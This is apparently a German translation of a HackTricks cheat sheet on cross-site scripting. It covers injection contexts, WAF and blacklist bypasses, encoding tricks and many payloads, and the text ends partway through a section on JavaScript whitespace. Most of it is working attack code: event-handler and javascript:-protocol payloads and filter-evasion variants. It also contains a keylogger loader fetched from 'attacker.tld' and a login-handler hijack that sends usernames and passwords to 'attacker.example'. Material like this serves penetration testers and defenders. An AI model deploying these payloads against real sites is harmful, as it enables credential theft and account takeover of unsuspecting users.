XSS (Cross Site Scripting)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Methodik

  1. Prüfe, ob any value you control (parameters, path, headers?, cookies?) im HTML reflected oder von JS-Code used wird.
  2. Finde den Kontext, in dem es reflektiert/benutzt wird.
  3. If reflected
  4. Prüfe welche Symbole du verwenden kannst und bereite abhängig davon das Payload vor:
  5. In raw HTML:
  6. Kannst du neue HTML-Tags erstellen?
  7. Kannst du Events oder Attribute verwenden, die das javascript:-Protokoll unterstützen?
  8. Kannst du Schutzmechanismen umgehen?
  9. Wird der HTML-Inhalt von einer clientseitigen JS-Engine interpretiert (AngularJS, VueJS, Mavo…), die du für eine Client Side Template Injection missbrauchen könntest?
  10. Wenn du keine HTML-Tags erstellen kannst, die JS-Code ausführen, könntest du einen Dangling Markup - HTML scriptless injection missbrauchen?
  11. Innerhalb eines HTML-Tags:
  12. Kannst du in den raw HTML-Kontext entkommen?
  13. Kannst du neue Events/Attribute erstellen, um JS-Code auszuführen?
  14. Unterstützt das Attribut, in dem du gefangen bist, die Ausführung von JS?
  15. Kannst du Schutzmechanismen umgehen?
  16. Innerhalb von JavaScript-Code:
  17. Kannst du das <script>-Tag escapen?
  18. Kannst du die Zeichenkette escapen und anderen JS-Code ausführen?
  19. Befindet sich deine Eingabe in template literals ``?
  20. Kannst du Schutzmechanismen umgehen?
  21. Javascript Funktion wird ausgeführt
  22. Du kannst den Namen der Funktion angeben, die ausgeführt werden soll. z.B.: ?callback=alert(1)
  23. If used:
  24. Du könntest eine DOM XSS ausnutzen; achte darauf, wie deine Eingabe kontrolliert wird und ob deine controlled input von einem sink verwendet wird.

Beim Arbeiten an einer komplexen XSS kann es interessant sein, folgendes zu kennen:

Debugging Client Side JS

Reflektierte Werte

Um eine XSS erfolgreich auszunutzen, musst du zuerst einen von dir kontrollierten Wert finden, der in der Seite reflektiert wird.

  • Intermediately reflected: Wenn du feststellst, dass der Wert eines Parameters oder sogar des Pfads in der Seite reflektiert wird, könntest du eine Reflected XSS ausnutzen.
  • Stored and reflected: Wenn ein von dir kontrollierter Wert auf dem Server gespeichert wird und bei jedem Aufruf einer Seite reflektiert wird, könntest du eine Stored XSS ausnutzen.
  • Accessed via JS: Wenn ein von dir kontrollierter Wert per JS abgerufen wird, könntest du eine DOM XSS ausnutzen.

Kontexte

Wenn du versuchst, eine XSS auszunutzen, musst du zuerst wissen, wo deine input reflektiert wird. Abhängig vom Kontext kannst du auf unterschiedliche Weise beliebigen JS-Code ausführen.

Raw HTML

Wenn deine input im raw HTML der Seite reflektiert wird, musst du eines oder mehrere HTML-Tags missbrauchen, um JS-Code auszuführen: <img , <iframe , <svg , <script … das sind nur einige der vielen möglichen HTML-Tags.
Beachte außerdem Client Side Template Injection.

Inside HTML tags attribute

Wenn deine input innerhalb des Werts eines Attributs eines Tags reflektiert wird, könntest du versuchen:

  1. Aus dem Attribut und aus dem Tag auszubrechen (dann bist du im raw HTML) und ein neues HTML-Tag zu erstellen, das du missbrauchst: "><img [...]
  2. Wenn du aus dem Attribut entkommen kannst, aber nicht aus dem Tag (> wird encodiert oder gelöscht), könntest du je nach Tag ein Event erstellen, das JS-Code ausführt: " autofocus onfocus=alert(1) x="
  3. Wenn du nicht aus dem Attribut entkommen kannst (" wird encodiert oder gelöscht), dann hängt es davon ab, in welchem Attribut dein Wert reflektiert wird und ob du den ganzen Wert oder nur einen Teil kontrollierst. Beispielsweise, wenn du ein Event wie onclick= kontrollierst, kannst du damit beliebigen Code ausführen, wenn darauf geklickt wird. Ein anderes interessantes Beispiel ist das Attribut href, wo du das javascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"
  4. Wenn deine input innerhalb von “unexpoitable tags” reflektiert wird, könntest du den accesskey-Trick versuchen, um die Vuln zu missbrauchen (du brauchst dafür eine Form von Social Engineering): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

Eine corporate SSO-Login-Seite spiegelte den OAuth-Parameter service innerhalb des href-Attributs von <a id="forgot_btn" ...> wider. Obwohl < und > HTML-encodiert waren, waren doppelte Anführungszeichen nicht encodiert, sodass der Angreifer das Attribut schließen und dasselbe Element wiederverwenden konnte, um Handler wie " onfocus="payload" x=" zu injizieren.

  1. Inject the handler: Einfache Payloads wie onclick="print(1)" wurden blockiert, aber der WAF inspizierte nur die erste JavaScript-Anweisung in Inline-Attributen. Das Voranstellen eines harmlosen Ausdrucks in Klammern, gefolgt von einem Semikolon, erlaubte dem eigentlichen Payload, ausgeführt zu werden: onfocus="(history.length);malicious_code_here".
  2. Auto-trigger it: Browser fokussieren jedes Element, dessen id mit dem Fragment übereinstimmt. Das Anhängen von #forgot_btn an die Exploit-URL zwingt den Anchor dazu, beim Laden der Seite den Fokus zu erhalten und den Handler ohne Klick auszuführen.
  3. Keep the inline stub tiny: Das Ziel lieferte bereits jQuery aus. Der Handler musste nur eine Anfrage per $.getScript(...) bootstrapen, während der vollständige Keylogger auf dem Server des Angreifers lag.

Building strings without quotes

Single quotes wurden URL-encodiert zurückgegeben und escaped doppelte Anführungszeichen beschädigten das Attribut, daher erzeugte das Payload jede Zeichenkette mit String.fromCharCode. Eine Hilfsfunktion macht es einfach, jede URL in char codes zu konvertieren, bevor man sie in das Attribut einfügt:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Ein resultierendes Attribut sah folgendermaßen aus:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Warum dies Zugangsdaten stiehlt

Das externe Skript (geladen von einem vom Angreifer kontrollierten Host oder Burp Collaborator) hakte document.onkeypress ein, pufferte Tastatureingaben und sendete jede Sekunde new Image().src = collaborator_url + keys. Da das XSS nur für nicht authentifizierte Benutzer ausgelöst wird, ist die sensitive Aktion das Anmeldeformular selbst — der Angreifer protokollierte Benutzernamen und Passwörter, selbst wenn das Opfer niemals auf “Login” klickte.

Seltsames Beispiel, wie Angular XSS ausführt, wenn man einen Klassennamen kontrolliert:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Innerhalb von JavaScript-Code

In diesem Fall wird deine Eingabe zwischen <script> [...] </script> Tags einer HTML-Seite, innerhalb einer .js Datei oder innerhalb eines Attributes mit dem javascript:-Protokoll reflektiert:

  • Wenn es zwischen <script> [...] </script> Tags reflektiert wird, selbst wenn deine Eingabe in irgendeiner Form von Anführungszeichen steht, kannst du versuchen </script> zu injecten und aus diesem Kontext zu entkommen. Das funktioniert, weil der Browser zuerst die HTML-Tags parst und dann den Inhalt, daher wird er nicht merken, dass dein injiziertes </script> Tag sich innerhalb des HTML-Codes befindet.
  • Wenn es innerhalb eines JS-Strings reflektiert wird und der letzte Trick nicht funktioniert, musst du den String verlassen, deinen Code ausführen und den JS-Code rekonstruieren (wenn ein Fehler auftritt, wird er nicht ausgeführt:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Wenn es innerhalb von template literals reflektiert wird, kannst du JS-Ausdrücke einbetten mit der ${ ... }-Syntax: var greetings = `Hello, ${alert(1)}`
  • Unicode encode funktioniert, um valid javascript code zu schreiben:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting bezeichnet die Möglichkeit, Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren, sodass du Szenarien ausnutzen kannst, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.
Siehe die folgende Seite für mehr Infos:

JS Hoisting

Javascript Function

Mehrere Webseiten haben Endpunkte, die als Parameter den Namen der auszuführenden Funktion akzeptieren. Ein häufiges Beispiel in der Praxis ist so etwas wie: ?callback=callbackFunc.

Eine gute Methode, um herauszufinden, ob etwas, das direkt vom Benutzer kommt, versucht ausgeführt zu werden, ist das Ändern des Parameterwerts (zum Beispiel auf ‘Vulnerable’) und das Überprüfen der Konsole auf Fehler wie:

Falls es verwundbar ist, könntest du ein alert auslösen, indem du einfach den Wert sendest: ?callback=alert(1). Allerdings ist es sehr üblich, dass diese Endpunkte den Inhalt validieren, um nur Buchstaben, Zahlen, Punkte und Unterstriche zu erlauben ([\w\._]).

Auch mit dieser Einschränkung ist es jedoch noch möglich, bestimmte Aktionen durchzuführen. Das liegt daran, dass du diese erlaubten Zeichen verwenden kannst, um auf beliebige Elemente im DOM zu zugreifen:

Einige nützliche Funktionen dafür:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Du kannst auch versuchen, Javascript-Funktionen direkt auszulösen: obj.sales.delOrders.

Allerdings sind die Endpoints, die die angegebene Funktion ausführen, normalerweise Endpoints ohne viel interessantes DOM; other pages in the same origin haben ein interessanteres DOM, um mehr Aktionen durchzuführen.

Daher wurde zur Ausnutzung dieser Schwachstelle in einem anderen DOM die Same Origin Method Execution (SOME)-Exploitation entwickelt:

SOME - Same Origin Method Execution

DOM

Es gibt JS code, der unsicher einige vom Angreifer kontrollierte Daten wie location.href verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.

DOM XSS

Universal XSS

Diese Art von XSS kann überall gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von jedem Kontext. Diese Art der arbitrary JavaScript execution kann sogar missbraucht werden, um RCE zu erlangen, beliebige Dateien auf Clients und Servern zu lesen, und mehr.
Einige Beispiele:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Wenn deine Eingabe innerhalb der HTML-Seite reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das erste, was du tun musst, zu prüfen, ob du < missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, dieses Zeichen zu reflektieren und prüfe, ob es HTML-encodiert wird, gelöscht wird oder ob es unverändert reflektiert wird. Nur im letzten Fall kannst du diesen Fall ausnutzen.
Für diese Fälle behalte auch Client Side Template Injection.
Hinweis: Ein HTML-Kommentar kann geschlossen werden mit --> oder --!>_

In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könntest du Payloads wie:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

If you didn’t find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Wenn irgendeine Art von blacklist verwendet wird, könntest du versuchen, sie mit ein paar einfachen Tricks zu bypassen:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (kleine XSSs)

[!NOTE] > Mehr tiny XSS payloads für verschiedene Umgebungen findet man hier und hier.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Das letzte verwendet 2 Unicode-Zeichen, die sich auf 5 ausdehnen: telsr
Weitere dieser Zeichen findest du hier.
Um zu prüfen, in welche Zeichen sie zerlegt werden, siehe hier.

Click XSS - Clickjacking

Wenn du, um die vulnerability auszunutzen, den user dazu bringen musst, auf einen Link oder ein Formular mit vorausgefüllten Daten zu klicken, könntest du versuchen, abuse Clickjacking (falls die Seite verwundbar ist).

Unmöglich - Dangling Markup

Wenn du denkst, dass es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, das JS-Code ausführt, solltest du Danglig Markup prüfen, denn du könntest die vulnerability ohne Ausführung von JS exploit.

Injektion innerhalb eines HTML-Tags

Innerhalb des Tags / Escape aus dem Attributwert

Wenn du dich innerhalb eines HTML-Tags befindest, ist das Erste, was du versuchen könntest, aus dem Tag zu escape und einige der in der previous section erwähnten Techniken zu verwenden, um JS-Code auszuführen.
Wenn du dich nicht aus dem Tag escape kannst, könntest du neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mithilfe eines payloads wie (beachte, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu escapen; du wirst sie nicht benötigen, wenn deine Eingabe direkt innerhalb des Tags reflektiert wird):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Style-Ereignisse

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Innerhalb des Attributs

Selbst wenn du nicht aus dem Attribut entkommen kannst (" wird kodiert oder entfernt), je nachdem in welchem Attribut dein Wert reflektiert wird — und ob du den gesamten Wert oder nur einen Teil kontrollierst — kannst du es missbrauchen. Zum Beispiel, wenn du ein Event wie onclick= kontrollierst, kannst du es so veranlassen, beliebigen Code auszuführen, wenn es angeklickt wird.\
Ein weiteres interessantes Beispiel ist das Attribut href, wo du das javascript:-Protokoll nutzen kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"

Umgehung innerhalb eines Events mithilfe von HTML encoding/URL encode

Die HTML-kodierten Zeichen innerhalb des Werts von HTML-Tag-Attributen werden zur Laufzeit decodiert. Deshalb ist etwas wie das Folgende gültig (die payload ist fett): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Beachte, dass jede Art von HTML encode gültig ist:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Beachte, dass URL encode ebenfalls funktioniert:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass innerhalb eines Events mit Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Spezielle Protokolle innerhalb des Attributs

Dort können Sie die Protokolle javascript: oder data: an einigen Stellen verwenden, um beliebigen JS-Code auszuführen. Manche erfordern Benutzerinteraktion, andere nicht.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Orte, an denen du diese Protokolle injizieren kannst

Im Allgemeinen kann das javascript:-Protokoll in jedem Tag verwendet werden, das das Attribut href akzeptiert und in den meisten Tags, die das Attribut src akzeptieren (aber nicht <img>)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Weitere obfuscation tricks

In diesem Fall sind der HTML encoding- und der Unicode encoding-Trick aus dem vorherigen Abschnitt ebenfalls gültig, da du dich innerhalb eines Attributs befindest.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Außerdem gibt es einen weiteren netten Trick für solche Fälle: Selbst wenn deine Eingabe innerhalb von javascript:... URL encoded wird, wird sie vor der Ausführung URL decoded. Wenn du dich also aus dem string mit einem single quote escape musst und siehst, dass it’s being URL encoded, denk daran, dass es egal ist, es wird während der execution time als single quote interpreted.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Beachte, dass wenn du versuchst, beide URLencode + HTMLencode in beliebiger Reihenfolge zu verwenden, um den payload zu kodieren, es nicht funktioniert, aber du kannst sie im payload mischen.

Hex- und Octal-Encode mit javascript:

Du kannst Hex und Octal encode innerhalb des src-Attributs von iframe (zumindest) verwenden, um HTML-Tags zu deklarieren, die JS ausführen:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Wenn du in ein beliebiges <a href=-Tag eine beliebige URL injizieren kannst und dieses Tag die Attribute target="_blank" and rel="opener" enthält, sieh dir die folgende Seite an, um dieses Verhalten auszunutzen:

Reverse Tab Nabbing

Umgehung von on-Event-Handlern

Zuerst sieh dir diese Seite (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) für nützliche “on” Event-Handler an.
Falls eine Blacklist verhindert, dass du diese Event-Handler anlegen kannst, kannst du die folgenden Bypasses ausprobieren:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Von hier ist es jetzt möglich, hidden inputs wie folgt zu missbrauchen:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Und in Meta-Tags:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Von here: Sie können einen XSS payload inside a hidden attribute ausführen, vorausgesetzt, Sie können das victim überreden, die key combination zu drücken. Unter Firefox (Windows/Linux) ist die key combination ALT+SHIFT+X und auf OS X CTRL+ALT+X. Sie können eine andere key combination angeben, indem Sie eine andere Taste im access key attribute verwenden. Hier ist der Vektor:

<input type="hidden" accesskey="X" onclick="alert(1)">

Die XSS payload wird etwa so aussehen: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Mehrere Tricks mit verschiedenen Encoding-Methoden wurden bereits in diesem Abschnitt gezeigt. Gehe zurück, um zu lernen, wo du verwenden kannst:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Siehe Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Siehe die JavaScript bypass blacklist of the following section.

CSS-Gadgets

Wenn du eine XSS in einem sehr kleinen Bereich der Website gefunden hast, die eine Art Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover Element), kannst du versuchen, den Bereich, den dieses Element einnimmt, zu verändern, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.

Zum Beispiel könntest du dem Element folgendes Styling hinzufügen: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Wenn jedoch der WAF das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden, also wenn du zum Beispiel findest

.test {display:block; color: blue; width: 100%}

und

#someid {top: 0; font-family: Tahoma;}

Nun kannst du unseren Link modifizieren und ihn in folgende Form bringen

<a href=“” id=someid class=test onclick=alert() a=“”>

This trick was taken from https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

In diesem Fall wird dein input innerhalb des JS-Codes eines .js file oder zwischen <script>...</script> tags oder zwischen HTML-Events, die JS ausführen können, oder zwischen Attributen, die das javascript:-Protokoll akzeptieren, reflektiert.

Escaping <script> tag

Wenn dein Code innerhalb von <script> [...] var input = 'reflected data' [...] </script> eingefügt wird, kannst du leicht escape closing the <script> tag:

</script><img src=1 onerror=alert(document.domain)>

Beachte, dass wir in diesem Beispiel nicht einmal das einfache Anführungszeichen geschlossen haben. Das liegt daran, dass HTML parsing zuerst vom Browser durchgeführt wird, wobei Seiten-Elemente identifiziert werden, einschließlich Script-Blöcken. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.

Innerhalb von JS-Code

Wenn <> sanitised werden, kannst du trotzdem escape the string an der Stelle, an der deine Eingabe located ist, und execute arbitrary JS. Es ist wichtig, die fix JS syntax zu beachten, denn wenn Fehler vorhanden sind, wird der JS-Code nicht ausgeführt:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Wenn Nutzereingaben innerhalb eines in Anführungszeichen stehenden JavaScript-Strings landen (z. B. z. B., server-side echo into an inline script), kannst du den String beenden, Code injecten und die Syntax reparieren, damit das Parsing gültig bleibt. Generisches Skelett:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Beispiel-URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektiert wird:

?param=test";<INJECTION>;a="

Dies führt Angreifer-JS aus, ohne den HTML-Kontext berühren zu müssen (reines JS-in-JS). Mit den untenstehenden blacklist bypasses kombinieren, wenn Filter Schlüsselwörter blockieren.

Template literals ``

Um strings zu erzeugen akzeptiert JS neben einfachen und doppelten Anführungszeichen auch backticks ``. Das nennt man template literals, da sie das Einbetten von JS-Ausdrücken mit der ${ ... }-Syntax erlauben. Daher, wenn du feststellst, dass deine Eingabe innerhalb eines JS-Strings, der Backticks verwendet, reflected wird, kannst du die Syntax ${ ... } missbrauchen, um beliebigen JS-Code auszuführen:

Dies kann wie folgt ausgenutzt werden:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Kodierte code execution

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Einsetzbare payloads mit eval(atob()) und scope-Nuancen

Um URLs kürzer zu halten und naive Keyword-Filter zu umgehen, kannst du deine eigentliche Logik base64-kodieren und mit eval(atob('...')) auswerten. Wenn einfache Keyword-Filter Bezeichner wie alert, eval oder atob blockieren, verwende Unicode-escaped Bezeichner, die im Browser identisch kompiliert werden, aber String-Matching-Filtern entgehen:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Wichtiger Scoping-Hinweis: const/let, die innerhalb von eval() deklariert werden, sind block-skopiert und erzeugen KEINE globalen Variablen; sie sind für nachfolgende Skripte nicht zugänglich. Verwende ein dynamisch eingefügtes <script>-Element, um bei Bedarf globale, nicht neu zuweisbare Hooks zu definieren (e.g., to hijack a form handler):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referenz: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode-kodierte JS-Ausführung

alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists Techniken

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Spezielle Escapes

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Leerzeichen-Substitutionen innerhalb von JS-Code

<TAB>
/**/

JavaScript comments (aus dem JavaScript Comments trick)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (aus JavaScript new line trick)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript-Leerzeichen

